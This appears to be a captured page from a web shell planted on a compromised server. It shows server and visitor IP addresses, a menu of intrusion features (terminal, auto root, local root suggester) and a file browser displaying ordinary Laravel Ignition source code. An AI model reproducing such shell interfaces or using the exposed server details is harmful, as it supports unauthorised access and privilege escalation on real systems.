Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.161.182
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
facade /
ignition /
src /
Commands /
Delete
Unzip
Name
Size
Permission
Date
Action
stubs
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
SolutionMakeCommand.php
1.33
KB
-rw-r--r--
2020-11-17 16:24
SolutionProviderMakeCommand.php
1023
B
-rw-r--r--
2020-11-17 16:24
TestCommand.php
2.78
KB
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php namespace Facade\Ignition\Commands; use Illuminate\Console\GeneratorCommand; use Symfony\Component\Console\Input\InputOption; class SolutionMakeCommand extends GeneratorCommand { /** * The console command name. * * @var string */ protected $name = 'ignition:make-solution'; /** * The console command description. * * @var string */ protected $description = 'Create a new custom Ignition solution class'; /** * The type of class being generated. * * @var string */ protected $type = 'Solution'; /** * Get the stub file for the generator. * * @return string */ protected function getStub() { return $this->option('runnable') ? __DIR__.'/stubs/runnable-solution.stub' : __DIR__.'/stubs/solution.stub'; } /** * Get the default namespace for the class. * * @param string $rootNamespace * @return string */ protected function getDefaultNamespace($rootNamespace) { return $rootNamespace.'\Solutions'; } /** * Get the console command options. * * @return array */ protected function getOptions() { return [ ['runnable', null, InputOption::VALUE_NONE, 'Create runnable solution'], ]; } }